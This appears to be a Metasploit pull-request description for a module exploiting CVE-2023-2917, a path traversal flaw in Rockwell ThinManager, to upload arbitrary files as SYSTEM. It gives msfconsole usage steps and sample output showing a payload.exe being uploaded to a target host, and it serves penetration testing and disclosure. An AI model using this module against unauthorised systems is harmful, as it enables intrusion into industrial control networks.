ThinManager Path Traversal Upload (CVE-2023-2917) Module

[h4x-x0r]

This module exploits a path traversal vulnerability (CVE-2023-2917) in ThinManager <= v13.1.0 to upload arbitrary files to the target system. It is very similar to #20138, but exploits a different message type and works against slightly newer versions too.

The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.

Verification Steps

1. The software can be obtained from the vendor.
2. Start msfconsole
3. msf6 > use auxiliary/admin/networking/thinmanager_traversal_upload2
4. msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set RHOSTS <IP>
5. msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set LFILE <local file location>
6. msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set RFILE <remote file location>
7. msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > run

Example output:

msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > run
[*] Running module against 192.168.137.229

[*] 192.168.137.229:2031 - Running automatic check ("set AutoCheck false" to disable)
[!] 192.168.137.229:2031 - The service is running, but could not be validated.
[*] 192.168.137.229:2031 - Sending handshake...
[*] 192.168.137.229:2031 - Received handshake response.
[*] 192.168.137.229:2031 - Read 27648 bytes from /tmp/payload.exe
[*] 192.168.137.229:2031 - Uploading /tmp/payload.exe as /Program Files/Rockwell Software/ThinManager/payload.exe on the remote host...
[*] 192.168.137.229:2031 - Upload request length: 27752 bytes
[!] 192.168.137.229:2031 - No response received after upload.
[+] 192.168.137.229:2031 - Upload process completed. Check if '/Program Files/Rockwell Software/ThinManager/payload.exe' exists on the target.
[*] Auxiliary module execution completed

Successfully tested on

• ThinManager v13.1.0 on Windows 22H2
• ThinManager v13.0.1 on Windows 22H2
• ThinManager v12.0.0 on Windows 22H2
• ThinManager v12.1.5 on Windows 22H2
• ThinManager v12.0.4 on Windows 22H2

[bwatters-r7]

Release Notes

Adds a module targeting CVE-2023-2917, a path traversal vulnerability in ThinManager <= v13.1.0, to upload an arbitrary file as system.

[h4x-x0r]

@bwatters-r7 Thank you for reviewing this and the other ThinManager modules, and for getting them merged!